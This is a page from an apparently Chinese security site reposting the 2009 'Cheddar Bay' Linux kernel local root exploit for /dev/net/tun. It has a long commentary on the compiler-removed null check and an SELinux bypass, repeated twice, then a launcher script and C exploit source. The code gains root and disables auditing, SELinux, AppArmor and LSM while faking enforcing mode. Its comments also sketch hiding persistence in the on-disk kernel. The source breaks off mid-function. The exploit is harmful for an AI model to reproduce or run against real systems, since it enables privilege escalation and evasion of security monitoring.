首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux 2.6.30+/SELinux/RHEL5 Test Kernel Local Root Exploit 0day
来源:www.vfcocus.net 作者:Spengler 发布时间:2009-07-20  

/* super fun 2.6.30+/RHEL5 2.6.18 local kernel exploit in /dev/net/tun
   A vulnerability which, when viewed at the source level, is unexploitable!
   But which, thanks to gcc optimizations, becomes exploitable :)
   Also, bypass of mmap_min_addr via SELinux vulnerability!
   (where having SELinux enabled actually increases your risk against a
    large class of kernel vulnerabilities)

   for 2.6.30 without SELinux enabled, compile with:
   cc -fPIC -fno-stack-protector -shared -o exploit.so exploit.c
   (on a 64bit system -m64 may be necessary to compile a 64bit .so)
   cc -o pwnkernel pwnkernel.c
   then just ./cheddar_bay.sh
   for 2.6.30 with SELinux enabled, compile with:
   cc -fno-stack-protector -o exploit exploit.c
   then just ./exploit

   for RHEL5 2.6.18 compile with:
   cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
   then just ./exploit

   Now on with the show...

   This exploit looks like something I know, something I wrote loooong ago
   in a place... called Cheddar Bay
   the year was 2007, POGS were just rising in the fad section
   I believe you could talk about Friends, it was a viable conversation
   topic back then
   And back then I had an exploit too, ohhh and what an exploit she was!

   exploiting the 'unexploitable' -- null ptr dereference directly to
   arbitrary code execution, and disabling SELinux & LSM atomically
   the first exploit of its kind!

   2 years later, some code has shifted around, 3 (or 4 depending on how
   you count) vulnerabilities found in the mainline null ptr dereference
   protection (added in reaction to the embarrassment from my exploit,
   not from any proactive initiative), silently-fixing vulnerabilities
   has become standard operating procedure among the kernel developers,
   confusing even their own ranks as to what needs to be backported to
   distro kernels or the stable tree.  So with all this great progress
   in Linux security, what do I present now 2 years later?

   ********************************************************************
   Bypassing the null ptr dereference protection in the mainline kernel
   via two methods ->
     if SELinux is enabled, it allows pulseaudio to map at 0
     UPDATE: not just that, SELinux lets any user in unconfined_t map at
     0, overriding the mmap_min_addr restriction!  pulseaudio is not
     needed at all!  Having SELinux enabled actually *WEAKENS* system
     security for these kinds of exploits!
     if SELinux is disabled, use personality SVR4 to auto-map at 0
   Turning a vulnerability which is unexploitable from a review of
   the source code, where only trojan data can be supplied to a
   structure where no function pointers are called into an arbitrary OR
   of 0x1 on any byte in memory
   Turning this arbitrary OR into arbitrary code execution by ORing
   an unused file_op on the device we're exploiting
   Abusing this arbitrary code execution to:
 * Disable auditing
 * Disable SELinux
 * Disable AppArmor
 * Disable LSM
 * Make userspace believe SELinux remains in enforcing mode
 * Give ourselves full privileges and capabilities
 * Appropriately increment refcnts so as to be
 * 100% reliable and repeatable
    Whilst providing an entertaining tale of the curse of Cheddar Bay!

    Discovery time of bug in public:  7/6/09
    Began working on exploit:  7/9/09 6:00PM
    Completed exploit:   7/9/09 8:00PM
    Began port to 64bit:  7/11/09 11:00AM
    Completed port to 64bit:     7/11/09 12:00PM
    Began port to RHEL5 2.6.18-157: 7/12/09 12:00PM
    Completed port to RHEL5 2.6.18-157: 7/12/09 12:30PM
    Rest of time was spent adding an incredible visual and audio experience

    Greets to Julien Tinnes & Tavis Ormandy for the null ptr dereference
    protection bypass (of which there are more ;) ) 5th time's the charm? :)
    also of course to pipacs for helpful ideas and for pointing out the
    fix for this bug that screamed of suspiciousness ;)
    also to cloud for the wonderful crab
    also to #social for being social
    and to emoflip (under duress so he doesn't stab me next month)

    to xorl.wordpress.com in the hopes that he reports more on silently
    fixed Linux kernel vulnerabilities :)

    funtimeinternet for the curse of Cheddar Bay:
    http://www.youtube.com/watch?v=l--BvXpaGq4
    Be sure to check out the response videos (which funtimeinternet
    called "AWESOME"):
    http://www.youtube.com/watch?v=UdkpJ13e6Z0
    http://www.youtube.com/watch?v=P7uyCMdAldM

    Finally to sgrakkyu for his two incredible exploits and nice email chats
    (and for making me realize the more interesting compiler issue here ;))
    http://kernelbof.blogspot.com
    disabling SELinux remotely with a single dword write is just classy ;)

    The commit that introduced the vulnerability (Feb 6th):
    http://mirror.celinuxforum.org/gitstat/commit-detail.php?commit=33dccbb050bbe35b88ca8cf1228dcf3e4d4b3554
    Though it was committed before the release of the 2.6.29 kernel, it
    did not (thankfully) make it into the 2.6.29 kernel.  It first
    appeared in 2.6.30.

    Crash appears on April 9th showing a null ptr dereference:
    http://article.gmane.org/gmane.linux.network/124939

    The buggy commit was backported to a RHEL5 test kernel on April 15th
    (the latest test kernel is still vulnerable and likely without this
    exploit being released, the code would have made it into the next
    RedHat kernel update)
    https://bugzilla.redhat.com/show_bug.cgi?id=495863

    Fix appears on July 6th:
    http://lkml.org/lkml/2009/7/6/19
    As you'll note in the fix, the problem was a NULL tun variable,
    which from the source should have been unexploitable due to the
    immediate check for !tun.  The dereference of tun to grab ->sk
    would have caused only a crash (or not, if NULL was mapped).  So how
    was the bug exploitable before but fixed by moving one line of code?
    The reason is that because the tun ptr is used before the check for
    !tun, the compiler assumes that in dereferencing tun a fault will
    occur, removing any need to later check tun for being NULL.  So the
    !tun check actually does not exist in the compiled code.  Normally
    this would be fine, if you could actually ensure that nothing is
    mapped at NULL, but as this (and previous exploits) have proven,
    that's not the case :)  So the fix moves the dereference of tun
    until after !tun is checked -- this time the !tun check actually
    exists in the code and the vulnerability/exploitability is removed.
    You can see a reference to this sort of problem here:
    http://osdir.com/ml/gcc.cross-compiling.arm/2007-10/msg00003.html
    The kernel should be compiled with -fno-delete-null-pointer-checks
    to remove the possibility of these kinds of vulnerabilities
    turning exploitable in the future which would be impossible to spot
    at the source level without this knowledge.

    As of the writing of this, the above fix exists for this vulnerability,
    but it's unlikely to make it into any -stable release (at least,
    not until after this exploit is released) because as we say in
    Linux kernel development circles, there are no vulnerabilities, just
    DoS bugs and silent fixes.  When noone seems to care to classify
    bugs properly or put any real effort into determining the impact of a
    vulnerability (leading to everything being called DoSes with no
    justification), then even the maintainers don't know what should be
    included in the "stable" kernels, leaving users vulnerable and
    attackers with beautiful, 100% reliable vulnerabilities like this
    one to exploit.

    It's at these times that I take comfort in the words of security
    expert Linus Torvalds, who steers the good ship Linux into safer
    seas.  As we read at http://article.gmane.org/gmane.linux.kernel/848718
    he's been blessed with the foresight to claim that "we could
    probably drop PAE some day," calling upon his own insight that "I'd
    also not ever enable it on any machine I have.  PAE does add
    overhead, and the NX bit isn't _that_ important to me."

    ****** UPDATE! 07/11/09 *******

    A man riding on horseback has delivered some news, my
    congratulations to the members of vendor-sec for their excellent
    analysis of my first exploit video, much in the same vein as their
    analyses of vulnerabilities in the kernel.  Watch the masters hone
    their craft:

    Vincent Danen:
    "Possibly, or another issue we've been discussing on vendor-sec, which
     would mean the problem is two fold; a problem with a setuid app and
     a problem with SELinux (or, more probably, defined rules).

     He throws AppArmor and LSM in there as well as being faulty, but I
     think that might be incorrect (let's remember spender's grsec
     agenda) -- you would have to see if there are rules specifically for
     preventing this kind of thing in order to know if the fault is in
     the rules or in the kernel itself."

    sometime later..

    "Yeah, just saw Marc's post and looked at the blog entry.  The
     coincidence with the pulseaudio issue we were looking at seemed
     odd, considering certain history with info on vendor-sec being
     disclosed by spender."

    Linus Torvalds:
    "That does not look like a kernel problem to me at all.
     He's running a setuid program that allows the user to specify its
     own modules.  And then you people are surprised he gets local root?"

    sometime later after video #3 (where I show RHEL5 getting owned)...

    Willy Tarreau (who is actually a nice guy, just stuck between a
    rock and a hard place at times considering the people he has to
    cooperate with, also I appreciate his continued work on 2.4):
    "He shows minor parts of his exploit code (only a few comments in fact)
     with one part half-hidden saying "the NX bit isn't _that_ important
     to me". I don't think that will ring a bell to anyone :-/"

    and then:

    "He claims he exploits a flaw in SELinux and doesn't require pulseaudio.
     Maybe some recent SELinux fixes got backported into that kernel,
     which might help narrow the issue down to less code ?"

    followed by:

    "Well, I see a positive note on all of that : the mmap_min_addr is
     really efficient at limiting null pointer abuse ; the guys now have
     to find a weak setuid program in order to deref null pointers. Of
     course that does not mean anything particularly good for our
     drivers (or whatever derefs a null pointer), but it means that
     kernel is already really good at protecting itself.

     I've just checked the grsec site (http://www.grsecurity.net/) and
     did not see any patch for 2.6.30. However, a patch was released
     yesterday for 2.6.29.6 (but I don't have the previous one to diff
     against). So maybe the null deref he's apparently exploiting is
     also present in 2.6.29. It is highly possible that the issue is
     fixed or worked around in his latest patch so that he can show his
     kernels are not affected.

     I've just checked the latest patch, and except for a few minor
     fixes in acpi, doc2001 and relay.c which don't look really suspect,
     I see nothing obvious. So maybe it's 100% 2.6.30-specific and he
     still has no fix for it in his patches :-/"

    Markus Meissner:
    "If someone has time he could decode the "Resolved <removed for vid>
     to 0xfffff" offsets to a ubuntu 64bit kernel. :/"

    So much sadness! And it's funny, none of them emailed me to ask
    anything.  Probably because they choose to operate in secrecy,
    depending upon the spies (it's not cool or ethical to spy, guys :P)
    they have in some public channels I frequent (which is the only way
    they found out about the videos -- I hadn't posted links to them
    anywhere else).  I'm amazed they come to the conclusions they came
    to, as if I didn't just release a very similar exploit in 2007 that
    attacked the *kernel* via a *null ptr dereference* and then
    *disabled SELinux & LSM*.  The fact that pulseaudio was used and
    was discussed publicly in Julien's blog regarding its use for
    bypassing mmap_min_addr "protection" surely didn't ring any bells. 
    The fact that I'm throwing around kernel addresses and suggesting
    that at least one of the addresses is being written to clearly
    shows this is not a kernel problem at all -- good call Linus.  I'm
    glad this arm-chair security expert discussion goes on in private;
    it'd be pretty embarrassing if it were public :)

    "I think a little public shaming might not be a bad idea"
  - Linus Torvalds (http://lkml.org/lkml/2007/6/19/256)

    "I really _despise_ people who think security is an issue of hiding
     bugs.  If they then try to make themselves look good ("no zero-day
     exploit, we fixed it immediately"), they're worse than low.

     The only thing that seems to work for security is public shaming.

     And yeah, I get personally embarrassed by some of the things we've
     had too, and some of that public shaming from the bug can well fall
     on me.  I've had cases where I've simply _forgotten_ about some bug
     that was reported to me, or more commpnly [sic] just overlooked it.
     Shame on me.  That's ok."
  -Linus Torvalds (circa 2006)

    PS (to vendorsec, etc): though you will never thank me (or sgrakkyu,
    or Julien), you're welcome for all this free security research,
    which could have been sold in private instead.  The industry isn't
    what it was like in 2000, people don't publish things anymore: they
    make money off them.  Not seeing exploits published doesn't mean
    you're doing a good job anymore.  Have you noticed that the
    complex exploits that have been released are released unpossibly
    quickly after the vulnerability is finally fixed?  There's a reason
    for that.  If the vulnerable code in this case had happened to have
    gone into the 2.6.29 kernel instead of 2.6.30 (which won't be used
    for vendor kernels) I likely wouldn't have published.  I have no
    use for exploits, but a good laugh is only worth so much.  My
    suggestion to you is to hire a couple of sgrakkyus or Juliens
    instead of old guys who have never written an exploit, since other
    than Stealth, I don't know of anyone skilled in the industry that
    you actually employ.  A second suggestion: as you are companies
    promoting open source, free software, it would be nice if the
    justifications for your vulnerability classifications were more
    transparent (or made available at all).  The old game of calling
    everything for which a public exploit doesn't exist a DoS for no
    reason is getting very tired, and it's not fooling anyone. Third,
    the official policy of intentionally omitting security relevant
    information in modifications to the Linux codebase is a disgrace
    and a disservice to yourselves, to other vendors, and to your
    customers. It demonstrates a lack of integrity and trust in your
    own products, though I know you have no intention of changing this
    policy as you're currently enjoying a reputation for security that
    is ill-gotten and has no basis in reality.  Truthfully representing
    the seriousness of vulnerabilities in your software would tarnish
    that image, and that's not good for business.  You're praised when
    you cover things up, and yet Microsoft is the one with the bad
    reputation.  If you were to follow the suggestions above, then
    maybe your security wouldn't be the laughing stock of the industry.

    Play these jokers out, keyboard cat --
    http://www.youtube.com/watch?v=J---aiyznGQ
*/

http://grsecurity.net/~spender/cheddar_bay.tgz

backup: http://milw0rm.com/sploits/2009-cheddar_bay.tgz

---------------------------------------------cheddar_bay.sh--------------------------------------------

#!/bin/sh

killall -9 pulseaudio
if [ ! -f '/usr/sbin/getenforce' ]; then
  ./pwnkernel
else
  RESULT=`/usr/sbin/getenforce`
  if [ "$RESULT" != "Disabled" ]; then
    pulseaudio --log-level=0 -L /home/spender/exploit.so
  else
    ./pwnkernel
  fi
fi

---------------------------------------------exploit.c--------------------------------------------

/* super fun 2.6.30+/RHEL5 2.6.18 local kernel exploit in /dev/net/tun
   A vulnerability which, when viewed at the source level, is unexploitable!
   But which, thanks to gcc optimizations, becomes exploitable :)
   Also, bypass of mmap_min_addr via SELinux vulnerability!
   (where having SELinux enabled actually increases your risk against a
    large class of kernel vulnerabilities)

   for 2.6.30 without SELinux enabled, compile with:
   cc -fPIC -fno-stack-protector -shared -o exploit.so exploit.c
   (on a 64bit system -m64 may be necessary to compile a 64bit .so)
   cc -o pwnkernel pwnkernel.c
   then just ./cheddar_bay.sh
   for 2.6.30 with SELinux enabled, compile with:
   cc -fno-stack-protector -o exploit exploit.c
   then just ./exploit

   for RHEL5 2.6.18 compile with:
   cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
   then just ./exploit

   Now on with the show...

   This exploit looks like something I know, something I wrote loooong ago
   in a place... called Cheddar Bay
   the year was 2007, POGS were just rising in the fad section
   I believe you could talk about Friends, it was a viable conversation
   topic back then
   And back then I had an exploit too, ohhh and what an exploit she was!

   exploiting the 'unexploitable' -- null ptr dereference directly to
   arbitrary code execution, and disabling SELinux & LSM atomically
   the first exploit of its kind!

   2 years later, some code has shifted around, 3 (or 4 depending on how
   you count) vulnerabilities found in the mainline null ptr dereference
   protection (added in reaction to the embarrassment from my exploit,
   not from any proactive initiative), silently-fixing vulnerabilities
   has become standard operating procedure among the kernel developers,
   confusing even their own ranks as to what needs to be backported to
   distro kernels or the stable tree.  So with all this great progress
   in Linux security, what do I present now 2 years later?

   ********************************************************************
   Bypassing the null ptr dereference protection in the mainline kernel
   via two methods ->
     if SELinux is enabled, it allows pulseaudio to map at 0
     UPDATE: not just that, SELinux lets any user in unconfined_t map at
     0, overriding the mmap_min_addr restriction!  pulseaudio is not
     needed at all!  Having SELinux enabled actually *WEAKENS* system
     security for these kinds of exploits!
     if SELinux is disabled, use personality SVR4 to auto-map at 0
   Turning a vulnerability which is unexploitable from a review of
   the source code, where only trojan data can be supplied to a
   structure where no function pointers are called into an arbitrary OR
   of 0x1 on any byte in memory
   Turning this arbitrary OR into arbitrary code execution by ORing
   an unused file_op on the device we're exploiting
   Abusing this arbitrary code execution to:
 * Disable auditing
 * Disable SELinux
 * Disable AppArmor
 * Disable LSM
 * Make userspace believe SELinux remains in enforcing mode
 * Give ourselves full privileges and capabilities
 * Appropriately increment refcnts so as to be
 * 100% reliable and repeatable
    Whilst providing an entertaining tale of the curse of Cheddar Bay!

    Discovery time of bug in public:  7/6/09
    Began working on exploit:  7/9/09 6:00PM
    Completed exploit:   7/9/09 8:00PM
    Began port to 64bit:  7/11/09 11:00AM
    Completed port to 64bit:     7/11/09 12:00PM
    Began port to RHEL5 2.6.18-157: 7/12/09 12:00PM
    Completed port to RHEL5 2.6.18-157: 7/12/09 12:30PM
    Rest of time was spent adding an incredible visual and audio experience

    Greets to Julien Tinnes & Tavis Ormandy for the null ptr dereference
    protection bypass (of which there are more ;) ) 5th time's the charm? :)
    also of course to pipacs for helpful ideas and for pointing out the
    fix for this bug that screamed of suspiciousness ;)
    also to cloud for the wonderful crab
    also to #social for being social
    and to emoflip (under duress so he doesn't stab me next month)

    to xorl.wordpress.com in the hopes that he reports more on silently
    fixed Linux kernel vulnerabilities :)

    funtimeinternet for the curse of Cheddar Bay:
    http://www.youtube.com/watch?v=l--BvXpaGq4
    Be sure to check out the response videos (which funtimeinternet
    called "AWESOME"):
    http://www.youtube.com/watch?v=UdkpJ13e6Z0
    http://www.youtube.com/watch?v=P7uyCMdAldM

    Finally to sgrakkyu for his two incredible exploits and nice email chats
    (and for making me realize the more interesting compiler issue here ;))
    http://kernelbof.blogspot.com
    disabling SELinux remotely with a single dword write is just classy ;)

    The commit that introduced the vulnerability (Feb 6th):
    http://mirror.celinuxforum.org/gitstat/commit-detail.php?commit=33dccbb050bbe35b88ca8cf1228dcf3e4d4b3554
    Though it was committed before the release of the 2.6.29 kernel, it
    did not (thankfully) make it into the 2.6.29 kernel.  It first
    appeared in 2.6.30.

    Crash appears on April 9th showing a null ptr dereference:
    http://article.gmane.org/gmane.linux.network/124939

    The buggy commit was backported to a RHEL5 test kernel on April 15th
    (the latest test kernel is still vulnerable and likely without this
    exploit being released, the code would have made it into the next
    RedHat kernel update)
    https://bugzilla.redhat.com/show_bug.cgi?id=495863

    Fix appears on July 6th:
    http://lkml.org/lkml/2009/7/6/19
    As you'll note in the fix, the problem was a NULL tun variable,
    which from the source should have been unexploitable due to the
    immediate check for !tun.  The dereference of tun to grab ->sk
    would have caused only a crash (or not, if NULL was mapped).  So how
    was the bug exploitable before but fixed by moving one line of code?
    The reason is that because the tun ptr is used before the check for
    !tun, the compiler assumes that in dereferencing tun a fault will
    occur, removing any need to later check tun for being NULL.  So the
    !tun check actually does not exist in the compiled code.  Normally
    this would be fine, if you could actually ensure that nothing is
    mapped at NULL, but as this (and previous exploits) have proven,
    that's not the case :)  So the fix moves the dereference of tun
    until after !tun is checked -- this time the !tun check actually
    exists in the code and the vulnerability/exploitability is removed.
    You can see a reference to this sort of problem here:
    http://osdir.com/ml/gcc.cross-compiling.arm/2007-10/msg00003.html
    The kernel should be compiled with -fno-delete-null-pointer-checks
    to remove the possibility of these kinds of vulnerabilities
    turning exploitable in the future which would be impossible to spot
    at the source level without this knowledge.

    As of the writing of this, the above fix exists for this vulnerability,
    but it's unlikely to make it into any -stable release (at least,
    not until after this exploit is released) because as we say in
    Linux kernel development circles, there are no vulnerabilities, just
    DoS bugs and silent fixes.  When noone seems to care to classify
    bugs properly or put any real effort into determining the impact of a
    vulnerability (leading to everything being called DoSes with no
    justification), then even the maintainers don't know what should be
    included in the "stable" kernels, leaving users vulnerable and
    attackers with beautiful, 100% reliable vulnerabilities like this
    one to exploit.

    It's at these times that I take comfort in the words of security
    expert Linus Torvalds, who steers the good ship Linux into safer
    seas.  As we read at http://article.gmane.org/gmane.linux.kernel/848718
    he's been blessed with the foresight to claim that "we could
    probably drop PAE some day," calling upon his own insight that "I'd
    also not ever enable it on any machine I have.  PAE does add
    overhead, and the NX bit isn't _that_ important to me."

    ****** UPDATE! 07/11/09 *******

    A man riding on horseback has delivered some news, my
    congratulations to the members of vendor-sec for their excellent
    analysis of my first exploit video, much in the same vein as their
    analyses of vulnerabilities in the kernel.  Watch the masters hone
    their craft:

    Vincent Danen:
    "Possibly, or another issue we've been discussing on vendor-sec, which
     would mean the problem is two fold; a problem with a setuid app and
     a problem with SELinux (or, more probably, defined rules).

     He throws AppArmor and LSM in there as well as being faulty, but I
     think that might be incorrect (let's remember spender's grsec
     agenda) -- you would have to see if there are rules specifically for
     preventing this kind of thing in order to know if the fault is in
     the rules or in the kernel itself."

    sometime later..

    "Yeah, just saw Marc's post and looked at the blog entry.  The
     coincidence with the pulseaudio issue we were looking at seemed
     odd, considering certain history with info on vendor-sec being
     disclosed by spender."

    Linus Torvalds:
    "That does not look like a kernel problem to me at all.
     He's running a setuid program that allows the user to specify its
     own modules.  And then you people are surprised he gets local root?"

    sometime later after video #3 (where I show RHEL5 getting owned)...

    Willy Tarreau (who is actually a nice guy, just stuck between a
    rock and a hard place at times considering the people he has to
    cooperate with, also I appreciate his continued work on 2.4):
    "He shows minor parts of his exploit code (only a few comments in fact)
     with one part half-hidden saying "the NX bit isn't _that_ important
     to me". I don't think that will ring a bell to anyone :-/"

    and then:

    "He claims he exploits a flaw in SELinux and doesn't require pulseaudio.
     Maybe some recent SELinux fixes got backported into that kernel,
     which might help narrow the issue down to less code ?"

    followed by:

    "Well, I see a positive note on all of that : the mmap_min_addr is
     really efficient at limiting null pointer abuse ; the guys now have
     to find a weak setuid program in order to deref null pointers. Of
     course that does not mean anything particularly good for our
     drivers (or whatever derefs a null pointer), but it means that
     kernel is already really good at protecting itself.

     I've just checked the grsec site (http://www.grsecurity.net/) and
     did not see any patch for 2.6.30. However, a patch was released
     yesterday for 2.6.29.6 (but I don't have the previous one to diff
     against). So maybe the null deref he's apparently exploiting is
     also present in 2.6.29. It is highly possible that the issue is
     fixed or worked around in his latest patch so that he can show his
     kernels are not affected.

     I've just checked the latest patch, and except for a few minor
     fixes in acpi, doc2001 and relay.c which don't look really suspect,
     I see nothing obvious. So maybe it's 100% 2.6.30-specific and he
     still has no fix for it in his patches :-/"

    Markus Meissner:
    "If someone has time he could decode the "Resolved <removed for vid>
     to 0xfffff" offsets to a ubuntu 64bit kernel. :/"

    So much sadness! And it's funny, none of them emailed me to ask
    anything.  Probably because they choose to operate in secrecy,
    depending upon the spies (it's not cool or ethical to spy, guys :P)
    they have in some public channels I frequent (which is the only way
    they found out about the videos -- I hadn't posted links to them
    anywhere else).  I'm amazed they come to the conclusions they came
    to, as if I didn't just release a very similar exploit in 2007 that
    attacked the *kernel* via a *null ptr dereference* and then
    *disabled SELinux & LSM*.  The fact that pulseaudio was used and
    was discussed publicly in Julien's blog regarding its use for
    bypassing mmap_min_addr "protection" surely didn't ring any bells. 
    The fact that I'm throwing around kernel addresses and suggesting
    that at least one of the addresses is being written to clearly
    shows this is not a kernel problem at all -- good call Linus.  I'm
    glad this arm-chair security expert discussion goes on in private;
    it'd be pretty embarrassing if it were public :)

    "I think a little public shaming might not be a bad idea"
  - Linus Torvalds (http://lkml.org/lkml/2007/6/19/256)

    "I really _despise_ people who think security is an issue of hiding
     bugs.  If they then try to make themselves look good ("no zero-day
     exploit, we fixed it immediately"), they're worse than low.

     The only thing that seems to work for security is public shaming.

     And yeah, I get personally embarrassed by some of the things we've
     had too, and some of that public shaming from the bug can well fall
     on me.  I've had cases where I've simply _forgotten_ about some bug
     that was reported to me, or more commpnly [sic] just overlooked it.
     Shame on me.  That's ok."
  -Linus Torvalds (circa 2006)

    PS (to vendorsec, etc): though you will never thank me (or sgrakkyu,
    or Julien), you're welcome for all this free security research,
    which could have been sold in private instead.  The industry isn't
    what it was like in 2000, people don't publish things anymore: they
    make money off them.  Not seeing exploits published doesn't mean
    you're doing a good job anymore.  Have you noticed that the
    complex exploits that have been released are released unpossibly
    quickly after the vulnerability is finally fixed?  There's a reason
    for that.  If the vulnerable code in this case had happened to have
    gone into the 2.6.29 kernel instead of 2.6.30 (which won't be used
    for vendor kernels) I likely wouldn't have published.  I have no
    use for exploits, but a good laugh is only worth so much.  My
    suggestion to you is to hire a couple of sgrakkyus or Juliens
    instead of old guys who have never written an exploit, since other
    than Stealth, I don't know of anyone skilled in the industry that
    you actually employ.  A second suggestion: as you are companies
    promoting open source, free software, it would be nice if the
    justifications for your vulnerability classifications were more
    transparent (or made available at all).  The old game of calling
    everything for which a public exploit doesn't exist a DoS for no
    reason is getting very tired, and it's not fooling anyone. Third,
    the official policy of intentionally omitting security relevant
    information in modifications to the Linux codebase is a disgrace
    and a disservice to yourselves, to other vendors, and to your
    customers. It demonstrates a lack of integrity and trust in your
    own products, though I know you have no intention of changing this
    policy as you're currently enjoying a reputation for security that
    is ill-gotten and has no basis in reality.  Truthfully representing
    the seriousness of vulnerabilities in your software would tarnish
    that image, and that's not good for business.  You're praised when
    you cover things up, and yet Microsoft is the one with the bad
    reputation.  If you were to follow the suggestions above, then
    maybe your security wouldn't be the laughing stock of the industry.

    Play these jokers out, keyboard cat --
    http://www.youtube.com/watch?v=J---aiyznGQ
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/personality.h>

/* on 2.6.30:
   sk_sndbuf is at 0x68
   sk_wmem_alloc is at 0x60
   sk_socket is at 0x140
   the above can change based on kernel configuration, blahblah
   I couldn't bother to recompile and compute the other sizes so kiddies
   may have to reduce the size of gibberish2 a bit

   flags is at offset 0x8 in sk_socket (on 2.6.30, on the RHEL5 2.6.18
                                        it's at offset 0x4)
*/

#ifdef RHEL5_SUCKS
#define OFFSET_OF_FLAGS 0x4
#else
#define OFFSET_OF_FLAGS 0x8
#endif

struct sock {
 char gibberish1[0x60];
#ifdef RHEL5_SUCKS
 char gibberish2[0xb0]; // this seems to do the trick ;)
#else
 char gibberish2[0xe0]; // gotta make sure this >> 1 is not >= above
#endif
 unsigned long gibberish3[0x50];
};

static void craft_sock(struct sock *sk, unsigned long target_addr)
{
 int i;
 memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
 memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
 for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
  sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
}

static void or_one_to_kernel_address(unsigned long target_addr)
{
 struct sock *sk = NULL;
 int fd;
 struct pollfd pfd;

 craft_sock(sk, target_addr);

 fd = open("/dev/net/tun", O_RDWR);
 if (fd == -1) {
  fprintf(stdout, "UNABLE TO OPEN /dev/net/tun!\n");
  return;
 }
 pfd.fd = fd;
 pfd.events = POLLIN | POLLOUT;
 poll(&pfd, 1, 0);

 close(fd);

 fprintf(stdout, " [+] *%p |= 1\n", (void *)target_addr);
}

static unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[256];
 int ret;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
  fprintf(stdout, "Unable to obtain symbol listing!\n");
  exit(0);
 }

 ret = 0;
 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }
  if (!strcmp(name, sname)) {
   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
   fclose(f);
   return addr;
  }
 }

 fclose(f);
 return 0;
}

/* fastcalls! */
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef int __attribute__((regparm(3))) (*_nf_unregister_hooks)(unsigned long *ops, int count);
typedef int __attribute__((regparm(3))) (*_unregister_filesystem)(unsigned long arg);

unsigned long *tun_mmap_fop;

unsigned long sel_fs_type;

unsigned long *mmap_min_addr;

int *audit_enabled;

int *ss_initialized;

int *selinux_enforcing;
int *selinux_enabled;
int *selinux_mls_enabled;

int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_bool;
unsigned long security_get_bool_value;
unsigned long sel_read_enforce;

_commit_creds commit_creds;
unsigned long init_cred;

_nf_unregister_hooks nf_unregister_hooks;
unsigned long * selinux_ipv4_ops;
unsigned long * selinux_ipv6_ops;

_unregister_filesystem unregister_filesystem;

int what_we_do;

unsigned int our_uid;

int got_root;

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
{
 unsigned long current;

 asm volatile (
 " movl %%esp, %%eax;"
 " andl %1, %%eax;"
 " movl (%%eax), %0;"
 : "=r" (current)
 : "i" (0xfffff000)
 );
 return current;
}

static void old_style_gimme_root(void)
{
 unsigned int *current;
 unsigned long orig_current;

 current = (unsigned int *)get_current();
 orig_current = (unsigned long)current;

 while (((unsigned long)current < (orig_current + 0x1000)) &&
  (current[0] != our_uid || current[1] != our_uid ||
   current[2] != our_uid || current[3] != our_uid))
  current++;

 if ((unsigned long)current >= (orig_current + 0x1000))
  return;

 current[0] = current[1] = current[2] = current[3] = 0; // uids
 current[4] = current[5] = current[6] = current[7] = 0; // gids

 got_root = 1;

 return;
}

/* the possibilities are really endless here, I've commented out some
   funny possibilities (like fully emulating the behavior of
   selinux_disable() even when the function doesn't exist in the kernel

   some other ideas:
   make /selinux/enforce operate off a dummy internal variable, while
   selinux_enforcing remains controlled by you in a permissive state

   create a copy of the exploit that will set the modified
   values back to their original (so auditing etc can continue)

   allocate some memory and copy some PIC code and data into it,
   set up a timer for some point in the future (minutes, days, weeks)
   and have it execute your code upon expiration

   something to think about:
   modify umount to record which filesystems are being unmounted --
   don't unmount them yet.  wait until a reboot or halt is about to take
   place, then write out a binary to disk (you have all the functions in
   the kernel needed to do so) which copies the current running kernel
   on disk over top the one about to be booted upon reboot then modifies
   that new copy so that its uname matches the one you replaced. 
   Execute this binary using the function the kernel provides to you,
   then unlink it when it's done.  After this, go through the list of
   mounts you recorded that are scheduled for unmounting, and unmount
   them in order.  Then perform the reboot or halt originally requested.
   You could modify the kernel on disk so that it allocates the space
   for and executes this code on boot, or you can stuff it into a module
   and toss it into the initrd image associated with the kernel.
   The system will stay in perpetual vulnerability with the appearance
   of being up to date ;)
*/

static int __attribute__((regparm(3))) own_the_kernel(void *a, void *b)
{
 // clean up after ourselves ;)
 if (tun_mmap_fop)
  *tun_mmap_fop = 0;

 if (audit_enabled)
  *audit_enabled = 0;

 // giggles
 //if (mmap_min_addr)
 // *mmap_min_addr = 0;

 // disable apparmor
 if (apparmor_enabled && *apparmor_enabled) {
  what_we_do = 1;
   *apparmor_enabled = 0;
  if (apparmor_audit)
   *apparmor_audit = 0;
  if (apparmor_logsyscall)
   *apparmor_logsyscall = 0;
  if (apparmor_complain)
   *apparmor_complain = 0;
 }

 // disable SELinux
 if (selinux_enforcing && *selinux_enforcing) {
  what_we_do = 2;
  *selinux_enforcing = 0;
 }

 if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
  // trash LSM
  if (default_security_ops && security_ops) {
   if (*security_ops != default_security_ops)
    what_we_do = 3;
   *security_ops = default_security_ops;
  }
 }

 /* make the idiots think selinux is enforcing */
 if (sel_read_enforce || (sel_read_bool && security_get_bool_value)) {
  unsigned char *p;
  unsigned long _cr0;

  asm volatile (
  "mov %%cr0, %0"
  : "=r" (_cr0)
  );
  _cr0 &= ~0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
  if (sel_read_enforce) {
